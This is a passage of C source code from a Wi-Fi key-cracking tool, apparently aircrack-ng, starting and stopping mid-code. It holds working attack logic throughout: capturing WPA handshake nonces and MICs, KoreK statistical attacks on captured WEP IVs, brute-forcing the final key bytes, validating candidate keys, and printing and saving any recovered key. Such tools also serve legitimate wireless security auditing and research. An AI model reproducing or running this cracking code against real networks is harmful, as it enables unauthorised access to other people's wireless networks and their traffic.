1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size ) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size ) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) if( ap_cur->nb_ivs >= opt.max_ivs ) break; } read_fail: if(rb.buf1 != NULL) { free(rb.buf1); rb.buf1 = NULL; } if(rb.buf2 != NULL) { free(rb.buf2); rb.buf2 = NULL; } if(buffer != NULL) { free(buffer); buffer = NULL; } return; } /* timing routine */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* signal-safe I/O routines */ int safe_read( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ! ( n = read( fd, (void *) off, len - sum ) ) ) { return( 0 ); } if( n < 0 && errno == EINTR ) continue; if( n < 0 ) return( n ); sum += n; off += n; } return( sum ); } int safe_write( int fd, void *buf, size_t len ) { int n; size_t sum = 0; char *off = (char *) buf; while( sum < len ) { if( ( n = write( fd, (void *) off, len - sum ) ) < 0 ) { if( errno == EINTR ) continue; return( n ); } sum += n; off += n; } return( sum ); } /* each thread computes the votes over a subset of the IVs */ int crack_wep_thread( void *arg ) { long xv, min, max; uchar jj[256]; uchar S[256], Si[256]; uchar K[64]; uchar io1, o1, io2, o2; uchar Sq, dq, Kq, jq, q; uchar S1, S2, J2, t2; int i, j, B, cid = (long) arg; int votes[N_ATTACKS][256]; //first: first S-Box Setup; first2:first round with new key; oldB: old B value int first=1, first2=1, oldB=0, oldq=0; memcpy( S, R, 256 ); memcpy( Si, R, 256 ); while( 1 ) { if(!first) oldB=B; if( safe_read( mc_pipe[cid][0], (void *) &B, sizeof( int ) ) != sizeof( int ) ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } if( close_aircrack ) break; first2=1; min = 5 * ( ( ( cid ) * wep.nb_ivs ) / opt.nbcpu ); max = 5 * ( ( ( 1 + cid ) * wep.nb_ivs ) / opt.nbcpu ); q = 3 + B; memcpy( K + 3, wep.key, B ); memset( votes, 0, sizeof( votes ) ); /* START: KoreK attacks */ for( xv = min; xv < max; xv += 5 ) { if(!first) { for(i=0; i= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_3); } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_1); } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_2); } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s5_3); } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_s3); } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_s13); } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_1); } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_4_u5_2); } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= USE_IV; // all_ivs[256*256*K[0] + 256*K[1] + K[2]].used |= 1 << (4+A_u5_4); } } if( close_aircrack ) break; } if( close_aircrack ) break; /* END: KoreK attacks */ if( safe_write( cm_pipe[cid][1], votes, sizeof( votes ) ) != sizeof( votes ) ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } return( 0 ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; if( (chrono( &t_stats, 0 ) < 1.51 || wepkey_crack_success) && force == 0 ) return; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; if( opt.l33t ) printf( "\33[40m" ); printf( "\33[2J" ); } if( opt.l33t ) printf( "\33[34;1m" ); printf( "\33[2;%dH%s\n\n", (ws.ws_col - 12) / 2, progname ); if( opt.l33t ) printf( "\33[33;1m" ); if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, opt.ap->nb_ivs ); else printf( "\33[5;%dH[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, nb_tried, wep.nb_ivs_now ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 11; if(!table) { if( opt.l33t ) printf( " %2d \33[1m%3d\33[22m/%3d ", i, wep.depth[i], wep.fudge[i] ); else printf( " %2d %3d/%3d ", i, wep.depth[i], wep.fudge[i] ); } else printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", table[i][j].b, table[i][j].votes ); else printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } else { for( j = wep.depth[i]; j < k + wep.depth[i]; j++ ) { if( j >= 256 ) break; if( wep.poll[i][j].val == 32767 ) { if( opt.l33t ) printf( "\33[1m%02X\33[22m(+inf) ", wep.poll[i][j].idx ); else printf( "%02X(+inf) ", wep.poll[i][j].idx ); } else { if( opt.l33t ) printf( "\33[1m%02X\33[22m(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); else printf( "%02X(%4d) ", wep.poll[i][j].idx, wep.poll[i][j].val ); } } } if (opt.showASCII && !table) if(wep.poll[i][wep.depth[i]].idx>=ASCII_LOW_T && wep.poll[i][wep.depth[i]].idx<=ASCII_HIGH_T) if(wep.poll[i][wep.depth[i]].val>=ASCII_VOTE_STRENGTH_T || ASCII_DISREGARD_STRENGTH ) printf( " %c",wep.poll[i][wep.depth[i]].idx ); printf( "\n" ); } if( B < opt.keylen - 1 ) printf( "\33[J" ); printf( "\n" ); } static void key_found(unsigned char *wepkey, int keylen, int B) { FILE * keyFile; int i, n; int nb_ascii = 0; for( i = 0; i < keylen; i++ ) if( wepkey[i] == 0 || ( wepkey[i] >= 32 && wepkey[i] < 127 ) ) nb_ascii++; wepkey_crack_success = 1; memcpy(bf_wepkey, wepkey, keylen); if( opt.is_quiet ) printf( "KEY FOUND! [ " ); else { if (B != -1) show_wep_stats( B - 1, 1, NULL, NULL, NULL, 0 ); if( opt.l33t ) printf( "\33[31;1m" ); n = ( 80 - 14 - keylen * 3 ) / 2; if( 100 * nb_ascii > 75 * keylen ) n -= ( keylen + 4 ) / 2; if( n <= 0 ) n = 0; printf( "\33[K\33[%dCKEY FOUND! [ ", n ); } for( i = 0; i < keylen - 1; i++ ) printf( "%02X:", wepkey[i] ); printf( "%02X ] ", wepkey[i] ); if( nb_ascii == keylen ) { printf( "(ASCII: " ); for( i = 0; i < keylen; i++ ) printf( "%c", ( ( wepkey[i] > 31 && wepkey[i] < 127 ) || wepkey[i] > 160 ) ? wepkey[i] : '.' ); printf( " )" ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\n\tDecrypted correctly: %d%%\n", opt.probability ); printf( "\n" ); // Write the key to a file if (opt.logKeyToFile != NULL) { keyFile = fopen(opt.logKeyToFile, "w"); if (keyFile != NULL) { for( i = 0; i < keylen; i++ ) fprintf(keyFile, "%02X", wepkey[i]); fclose(keyFile); } } } /* test if the current WEP key is valid */ int check_wep_key( uchar *wepkey, int B, int keylen ) { uchar x1, x2; unsigned long xv; int i, j, n, bad, tests; uchar K[64]; uchar S[256]; if (keylen<=0) keylen = opt.keylen; nb_tried++; bad = 0; memcpy( K + 3, wepkey, keylen ); tests = 32; // printf("keylen: %d\n", keylen); // if(keylen==13) // printf("%02X:%02X:%02X:%02X:%02X\n", wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]); if(opt.dict) tests = wep.nb_ivs; if(tests < TEST_MIN_IVS) tests=TEST_MIN_IVS; if(tests > TEST_MAX_IVS) tests=TEST_MAX_IVS; for( n = 0; n < tests; n++ ) { /* xv = 5 * ( rand() % wep.nb_ivs ); */ xv = 5 * n; pthread_mutex_lock( &mx_ivb ); memcpy( K, &wep.ivbuf[xv], 3 ); memcpy( S, R, 256 ); for( i = j = 0; i < 256; i++ ) { j = ( j + S[i] + K[i % (3 + keylen)]) & 0xFF; SWAP( S[i], S[j] ); } i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]); x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF]; i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]); x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF]; pthread_mutex_unlock( &mx_ivb ); // printf("xv: %li x1: %02X x2: %02X\n", (xv/5), x1, x2); if( ( x1 != 0xAA || x2 != 0xAA ) && ( x1 != 0xE0 || x2 != 0xE0 ) && ( x1 != 0x42 || x2 != 0x42 ) && ( x1 != 0x02 || x2 != 0xAA ) ) //llc sub layer management bad++; if( bad > ((tests*opt.probability)/100) ) return( FAILURE ); } opt.probability = (((tests-bad)*100)/tests); key_found(wepkey, keylen, B); return( SUCCESS ); } /* routine used to sort the votes */ int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } /* sum up the votes and sort them */ int calc_poll( int B ) { int i, n, cid, *vi; int votes[N_ATTACKS][256]; memset(&opt.votes, '\0', sizeof(opt.votes)); /* send the current keybyte # to each thread */ for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( int ); if( safe_write( mc_pipe[cid][1], &B, n ) != n ) { perror( "write failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } } /* collect the votes, multiply by the korek coeffs */ for( i = 0; i < 256; i++ ) { wep.poll[B][i].idx = i; wep.poll[B][i].val = 0; } for( cid = 0; cid < opt.nbcpu; cid++ ) { n = sizeof( votes ); if( safe_read( cm_pipe[cid][0], votes, n ) != n ) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) { wep.poll[B][i].val += *vi * K_COEFF[n]; if(K_COEFF[n]) opt.votes[n] += *vi; } } /* set votes to the max if the keybyte is user-defined */ if( opt.debug_row[B] ) wep.poll[B][opt.debug[B]].val = 32767; /* if option is set, restrict keyspace to alpha-numeric */ if( opt.is_alnum ) { for( i = 1; i < 32; i++ ) wep.poll[B][i].val = -1; for( i = 127; i < 256; i++ ) wep.poll[B][i].val = -1; } if( opt.is_fritz ) { for( i = 0; i < 48; i++ ) wep.poll[B][i].val = -1; for( i = 58; i < 256; i++ ) wep.poll[B][i].val = -1; } /* if option is set, restrict keyspace to BCD hex digits */ if( opt.is_bcdonly ) { for( i = 1; i < 256; i++ ) if( i > 0x99 || ( i & 0x0F ) > 0x09 ) wep.poll[B][i].val = -1; } /* sort the votes, highest ones first */ qsort( wep.poll[B], 256, sizeof( vote ), cmp_votes ); return( SUCCESS ); } int update_ivbuf( void ) { int n; struct AP_info *ap_cur; /* 1st pass: compute the total number of available IVs */ wep.nb_ivs_now = 0; wep.nb_aps = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { wep.nb_ivs_now += ap_cur->nb_ivs; wep.nb_aps++; } ap_cur = ap_cur->next; } /* 2nd pass: create the main IVs buffer if necessary */ if( wep.nb_ivs == 0 || ( opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000 ) || ( opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000 ) ) { /* one buffer to rule them all */ pthread_mutex_lock( &mx_ivb ); if( wep.ivbuf != NULL ) { free( wep.ivbuf ); wep.ivbuf = NULL; } wep.nb_ivs = 0; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->crypt == 2 && ap_cur->target ) { n = ap_cur->nb_ivs; if( ( wep.ivbuf = realloc( wep.ivbuf, ( wep.nb_ivs + n ) * 5 ) ) == NULL ) { pthread_mutex_unlock( &mx_ivb ); perror( "realloc failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } memcpy( wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n ); wep.nb_ivs += n; } ap_cur = ap_cur->next; } pthread_mutex_unlock( &mx_ivb ); return( RESTART ); } return( SUCCESS ); } /* * It will remove votes for a specific keybyte (and remove from the requested current value) * Return 0 on success, another value on failure */ int remove_votes(int keybyte, unsigned char value) { int i; int found = 0; for (i=0; i < 256; i++) { if (wep.poll[keybyte][i].idx == (int)value) { found = 1; //wep.poll[keybyte][i].val = 0; // Update wep.key } if (found) { // Put the value at the end with NO votes if (i== 255) { wep.poll[keybyte][i].idx = (int)value; wep.poll[keybyte][i].val = 0; } else { wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx; wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val; if (i == 0) { // Also update wep key if it's the first value to remove wep.key[keybyte] = wep.poll[keybyte][i].idx; } } } } return 0; } /* standard attack mode: */ /* this routine gathers and sorts the votes, then recurses until it * * reaches B == keylen. It also stops when the current keybyte vote * * is lower than the highest vote divided by the fudge factor. */ int do_wep_crack1( int B ) { int i, j, l, m, tsel, charread, askchange; int remove_keybyte_nr, remove_keybyte_value; //int a,b; static int k = 0; char user_guess[4]; askchange = 1; get_ivs: switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( ( wep.nb_ivs_now < 256 && opt.debug[0] == 0 ) || ( wep.nb_ivs_now < 32 && opt.debug[0] != 0 ) ) { if( ! opt.no_stdin ) { printf( "Not enough IVs available. You need about 250.000 IVs to crack\n" "40-bit WEP, and more than 800.000 IVs to crack a 104-bit key.\n" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else { printf( "Read %ld packets, got %ld IVs...\r", nb_pkt, wep.nb_ivs_now ); fflush( stdout ); sleep( 1 ); goto get_ivs; } } /* if last keybyte reached, check if the key is valid */ if( B == opt.keylen ) { if( ! opt.is_quiet ) show_wep_stats( B - 1, 0, NULL, NULL, NULL, 0 ); return( check_wep_key( wep.key, B, 0 ) ); } /* now compute the poll resultst for keybyte B */ if( calc_poll( B ) != SUCCESS ) return( FAILURE ); /* fudge threshold = higest vote divided by fudge factor */ for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; /* try the most likely n votes, where n is the fudge threshold */ for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; ( wep.depth[B] )++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) { show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); } if( B == 4 && opt.keylen == 13 ) { /* even when cracking 104-bit WEP, * * check if the 40-bit key matches */ /* opt.keylen = 5; many functions use keylen. it is dangerous to do this in a multithreaded process */ if( check_wep_key( wep.key, B, 5 ) == SUCCESS ) { opt.keylen = 5; return( SUCCESS ); } /* opt.keylen = 13; */ } if( B + opt.do_brute + 1 == opt.keylen && opt.do_brute ) { /* as noted by Simon Marechal, it's more efficient * to just bruteforce the last two keybytes. */ /* Ask for removing votes here 1. Input keybyte. Use enter when it's done => Bruteforce will start 2. Input value to remove votes from: 00 -> FF or Enter to cancel remove 3. Remove votes 4. Redraw 5. Go back to 1 */ if (opt.visual_inspection == 1) { while(1) { // Show the current stat show_wep_stats( B, 1, NULL, NULL, NULL, 0 ); // Inputting user value until it hits enter or give a valid value printf("On which keybyte do you want to remove votes (Hit Enter when done)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if 'Enter' key was hit if (user_guess[0] == 0 || charread == 0) break; // If it's not a number, reask // Check if inputted value is correct (from 0 to and inferior to opt.keylen) remove_keybyte_nr = atoi(user_guess); if (isdigit((int)user_guess[0]) == 0 || remove_keybyte_nr < 0 || remove_keybyte_nr >= opt.keylen) continue; // It's a number for sure and the number is correct // Now ask which value should be removed printf("From which keybyte value do you want to remove the votes (Hit Enter to cancel)? "); memset(user_guess, 0, 4); charread = readLine(user_guess, 3); // Break if enter was hit if (user_guess[0] == 0 || charread == 0) continue; remove_keybyte_value = hexToInt(user_guess, charread); // Check if inputted value is correct (hexa). Value range: 00 - FF if (remove_keybyte_value < 0 || remove_keybyte_value > 255) continue; // If correct, remove and redraw remove_votes(remove_keybyte_nr, (unsigned char)remove_keybyte_value); } } if (opt.nbcpu==1 || opt.do_mt_brute==0) { if (opt.do_brute==4) { for( l = 0; l < 256; l++) { wep.key[opt.brutebytes[0]] = l; for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[1]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[3]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } } else if (opt.do_brute==3) { for( m = 0; m < 256; m++ ) { wep.key[opt.brutebytes[0]] = m; for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[2]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.brutebytes[1]] = j; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { for( i = 0; i < 256; i++ ) { wep.key[opt.brutebytes[0]] = i; if (check_wep_key( wep.key, B + 1, 0 ) == SUCCESS) return SUCCESS; } } } else { /* multithreaded bruteforcing of the last 2 keybytes */ k = (k+1) % opt.nbcpu; do { for(tsel=0; tsel16) { usleep(1); continue; } else { /* write our current key to the pipe so it'll have its last 2 bytes bruteforced */ bf_nkeys[(tsel+k) % opt.nbcpu]++; if (safe_write(bf_pipe[(tsel+k) % opt.nbcpu][1], (void *) wep.key, 64) != 64) { perror( "write pmk failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } break; } } } while (tsel>=opt.nbcpu && !wepkey_crack_success); if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } } else { switch( do_wep_crack1( B + 1 ) ) { case SUCCESS: return( SUCCESS ); case RESTART: return( RESTART ); default: break; } } } //if we are going to fail on the root byte, check again if there are still threads bruting, if so wait and check again. if(B==0) { for(i=0; i0 && !wepkey_crack_success) usleep(1); } if (wepkey_crack_success) { memcpy(wep.key, bf_wepkey, opt.keylen); return(SUCCESS); } } return( FAILURE ); } /* experimental single bruteforce attack */ int do_wep_crack2( int B ) { int i, j; switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } if( wep.nb_ivs_now / opt.keylen < 60000 ) { printf( "Not enough IVs available. This option is only meant to be used\n" "if the standard attack method fails with more than %d IVs.\n", opt.keylen * 60000 ); kill( 0, SIGTERM ); _exit( FAILURE ); } for( i = 0; i <= B; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++ ) if( (float) wep.poll[B][wep.fudge[B]].val < (float) wep.poll[B][0].val / opt.ffact ) break; for( wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++ ) { switch( update_ivbuf() ) { case FAILURE: return( FAILURE ); case RESTART: return( RESTART ); default: break; } wep.key[B] = wep.poll[B][wep.depth[B]].idx; if( ! opt.is_quiet ) show_wep_stats( B, 0, NULL, NULL, NULL, 0 ); for( i = B + 1; i < opt.keylen - 2; i++ ) { if( calc_poll( i ) != SUCCESS ) return( FAILURE ); wep.key[i] = wep.poll[i][0].idx; wep.fudge[i] = 1; wep.depth[i] = 0; if( ! opt.is_quiet ) show_wep_stats( i, 0, NULL, NULL, NULL, 0 ); } for( i = 0; i < 256; i++ ) { wep.key[opt.keylen - 2] = i; for( j = 0; j < 256; j++ ) { wep.key[opt.keylen - 1] = j; if( check_wep_key( wep.key, opt.keylen - 2, 0 ) == SUCCESS ) return( SUCCESS ); } } } return( FAILURE ); } int inner_bruteforcer_thread(void *arg) { int i, j, k, l, reduce=0; size_t nthread = (size_t)arg; uchar wepkey[64]; int ret=0; inner_bruteforcer_thread_start: reduce=0; if( close_aircrack ) return(ret); if (wepkey_crack_success) return(SUCCESS); /* we get the key for which we'll bruteforce the last 2 bytes from the pipe */ if( safe_read( bf_pipe[nthread][0], (void *) wepkey, 64) != 64) { perror( "read failed" ); kill( 0, SIGTERM ); _exit( FAILURE ); } else reduce=1; if( close_aircrack ) return(ret); /* now we test the 256*256 keys... if we succeed we'll save it and exit the thread */ if (opt.do_brute==4) { for( l = 0; l < 256; l++ ) { wepkey[opt.brutebytes[0]] = l; for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[1]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[2]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[3]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } } else if (opt.do_brute==3) { for( k = 0; k < 256; k++ ) { wepkey[opt.brutebytes[0]] = k; for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[1]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[2]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } } else if (opt.do_brute==2) { for( i = 0; i < 256; i++ ) { wepkey[opt.brutebytes[0]] = i; for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[1]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } } else { for( j = 0; j < 256; j++ ) { wepkey[opt.brutebytes[0]] = j; if( check_wep_key( wepkey, opt.keylen - 2, 0 ) == SUCCESS ) return(SUCCESS); } } if(reduce) bf_nkeys[nthread]--; goto inner_bruteforcer_thread_start; } /* display the current wpa key info, matrix-like */ void show_wpa_stats( char *key, int keylen, uchar pmk[32], uchar ptk[64], uchar mic[16], int force ) { float delta; int i, et_h, et_m, et_s; char tmpbuf[28]; if (chrono( &t_stats, 0 ) < 0.15 && force == 0) return; if (force != 0) pthread_mutex_lock(&mx_wpastats); // if forced, wait until we can lock else if (pthread_mutex_trylock(&mx_wpastats) != 0) // if not forced, just try return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( ( delta = chrono( &t_kprev, 0 ) ) >= 6 ) { int delta0; delta0 = delta; t_kprev.tv_sec += 3; delta = chrono( &t_kprev, 0 ); nb_kprev *= delta / delta0; } if( opt.l33t ) printf( "\33[33;1m" ); printf( "\33[5;20H[%02d:%02d:%02d] %lld keys tested " "(%2.2f k/s)", et_h, et_m, et_s, nb_tried, (float) nb_kprev / delta); memset( tmpbuf, ' ', sizeof( tmpbuf ) ); memcpy( tmpbuf, key, keylen > 27 ? 27 : keylen ); tmpbuf[27] = '\0'; if( opt.l33t ) printf( "\33[37;1m" ); printf( "\33[8;24HCurrent passphrase: %s\n", tmpbuf ); if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[11;7HMaster Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 32; i++ ) { if( i == 16 ) printf( "\n\33[23C" ); printf( "%02X ", pmk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[14;7HTransient Key : " ); if( opt.l33t ) printf( "\33[32;1m" ); for( i = 0; i < 64; i++ ) { if( i > 0 && i % 16 == 0 ) printf( "\n\33[23C" ); printf( "%02X ", ptk[i] ); } if( opt.l33t ) printf( "\33[32;22m" ); printf( "\33[19;7HEAPOL 